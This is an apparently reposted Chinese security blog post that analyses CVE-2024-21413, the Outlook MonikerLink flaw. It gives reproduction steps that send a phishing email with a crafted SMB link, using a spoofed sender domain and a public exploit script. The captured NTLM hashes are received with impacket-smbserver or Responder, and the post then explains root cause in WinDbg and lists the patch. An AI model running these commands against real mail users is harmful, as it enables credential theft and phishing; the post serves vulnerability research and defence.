CVE-2024-21413 Outlook远程代码执行漏洞分析

admin 2024年4月24日08:31:19评论5 views字数 3356阅读11分11秒阅读模式

一、前言

Microsoft Office Outlook是微软office的组件之一,也是常用的邮件客户端之一。CVE-2024-21413 是在 Microsoft Outlook 中发现的一个重大安全漏洞,CVSS 评分 9.8。攻击者将一个带恶意链接的邮件发送给被攻击用户,当用户点击链接时,会导致NTLM窃取与远程代码执行(RCE),并且该漏洞还能使攻击者能够绕过Office文档的受保护视图。本文先讲复现过程,后讲漏洞原理。

二、漏洞复现

准备材料:windows和linux虚拟机,hMailServer

2.1 搭建邮件服务器

下载安装hMailServer。需要在Domins里配置邮箱的域名和账号,域名可以填成别人的域名。因为我们只用来发件,并不需要接收邮件,所以也不需要自己购买域名做解析。

注意,不是所有的域名都能发送成功,主流的邮箱都会做校验,我们客户端发出的邮件特征与官方来源不一致会直接丢弃。

CVE-2024-21413 Outlook远程代码执行漏洞分析

CVE-2024-21413 Outlook远程代码执行漏洞分析

2.2 安装outlook

推荐从ITELLYOU下载官方版的Office,https://msdn.itellyou.cn/

CVE-2024-21413 Outlook远程代码执行漏洞分析

需要注意,不能只安装outlook,推荐安装全部套件。安装后无需激活,不影响后续利用。

2.3. 发送攻击邮件

使用exp链接:https://github.com/duy-31/CVE-2024-21413

./cve-2024-21413.sh [hMailServer ip] [hMailServer port] [hMailServer sender email ] [outlook reveiver email ] "\[NTLM reveiver ip]testduy31.txt"
例如:
./cve-2024-21413.sh 192.168.0.210 25 admin@you防和谐tube.com [email protected] "\192.168.0.44testduy31.txt"

CVE-2024-21413 Outlook远程代码执行漏洞分析

2.4 NTLM接收机设置监听

sudo impacket-smbserver -smb2support -ip 0.0.0.0 test /tmp

注意,impacket-smbserver是kali自带的工具。如果机器里没有,可以使用此脚本接收:https://github.com/lgandx/Responder

2.5 触发漏洞

正常情况下点击链接会触发outlook的告警:

CVE-2024-21413 Outlook远程代码执行漏洞分析


但通过此漏洞构造的邮件不会触发任何告警,用户点击click之后,攻击者成功接收用户的NTLM。

CVE-2024-21413 Outlook远程代码执行漏洞分析

2.6 RCE(命令执行)

此漏洞本质上只是实现了任意SMB URL访问。想要实现RCE需要与其他漏洞配合,例如CVE-2023-21716、CVE-2022-30190等。

三、漏洞原理

在Outlook里,此类链接统称为“Moniker Link”,所以此漏洞也被叫做MonikerLink漏洞。Outlook内部使用”ole32!MkParseDisplayName()”的api对MonikerLink进行解析,根据解析结果来寻找的COM对象。当用户单击访问后,会断在这个函数里:

Breakpoint 0 hit
eax=00000000 ebx=00000023 ecx=1a168666 edx=0000002f esi=1a168620 edi=800401e4
eip=772a5ca0 esp=009c8d2c ebp=009c97ac iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
ole32!MkParseDisplayName:
772a5ca0 8bff mov edi,edi
0:000> k
# ChildEBP RetAddr
00 009c97ac 64707f22 ole32!MkParseDisplayName [comole32commoniker2cmonimp.cxx @ 1413]
01 009c97ac 64703930 hlink!HrParseDisplayNameEx+0x5052
02 009c983c 64702dc8 hlink!HrIntHlinkCreate+0x140
03 009c9878 740af6db hlink!HlinkCreateFromString+0xa8
04 009c9914 69e839bf mso30win32client!MsoHrHlinkCreateFromString+0x8d
05 009c9a88 69e837af wwlib!HrCreateHlinkParseField+0x1eb
06 009cec94 69dbd065 wwlib!HrCreateHlinkFromField+0xda
07 009cece4 6a814114 wwlib!FReadHyperlinkFieldData+0x1c7
08 009cedac 6acc1cd8 wwlib!TmcHyperlinkOpen+0xbe
09 009cedd8 6aceaea3 wwlib!FDoHyperlinkHit+0x9f
0a 009cedf0 6b109066 wwlib!FHandleHyperlinkOnClick+0x43
0b 009cee38 6b101b7a wwlib!CHyperlinkTE::HandleClick+0x129
0c 009cf07c 6b101f6e wwlib!CDispatcherTE::OnClick+0x2ae
0d 009cf090 6b0f8d59 wwlib!CDispatcherTE::OnSingleClick+0x10
0e 009cf0a8 6b0f8f0e wwlib!CMouseToolApp::ExecuteGesture+0xfa
...

查询微软的api文档: https://learn.microsoft.com/en-us/windows/win32/api/objbase/nf-objbase-mkparsedisplayname

可以看到API“MkParseDisplayName()”的第二个参数“szUserName”保存了我们构造的url。下断点可以看到我的输入:

0:000> du poi(esp+4*2)
1a168620 "\10.10.111.111testtest.rtf!something"

Payload的精髓是加了一个感叹号!,根据官方文档,当链接里有!时,会将整体识别为两部分,感叹号前面的叫FileMoniker,感叹号后面的(something)叫ItemMoniker。接下来windows会在后台调用Word组件,word会首先打开第一部分指向的文件(\10.10.111.111testtest.rtf),之后会在文件内部寻找ItemMoniker对象(something)。

但此链接是SMB协议的,该协议是windows进行文件共享的协议,认证过程会携带NTLM凭据。所以只要访问攻击者的机器,攻击者即可接收到NTLM,之后可以用hashcat等进行爆破。同时因为outlook会直接下载该链接的文件,当文件是RTF系列漏洞的攻击payload时,相应的漏洞就会被触发,进行进一步命令执行利用。

四、影响范围

漏洞几乎影响全系列office产品,包括但不限于:

Microsoft Office 2016 (64bit、32bit)
Microsoft Office 2019 (64bit、32bit)
Microsoft Office LTSC 2021 (64bit、32bit)
Microsoft 365 Apps for Enterprise (64bit、32bit)

五、修复措施

微软已在2024年2月发布了修复补丁,更新KB5002537及以上的补丁即可修复。

六、总结

直到现在最常用 的社会工程学攻击手段仍是邮件钓鱼。有漏洞、长期不更新的邮件客户端极其容易成为钓鱼邮件的目标,所以用户应保持良好的使用习惯,邮件客户端要及时更新,或直接使用网页版邮箱。同时对于收到的任何邮件要保持警惕,不点击陌生链接、不下载可疑附件。

来源:https://www.freebuf.com/

原文始发于微信公众号(船山信安):CVE-2024-21413 Outlook远程代码执行漏洞分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年4月24日08:31:19
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2024-21413 Outlook远程代码执行漏洞分析https://cn-sec.com/archives/2685665.html

发表评论

匿名网友 填写信息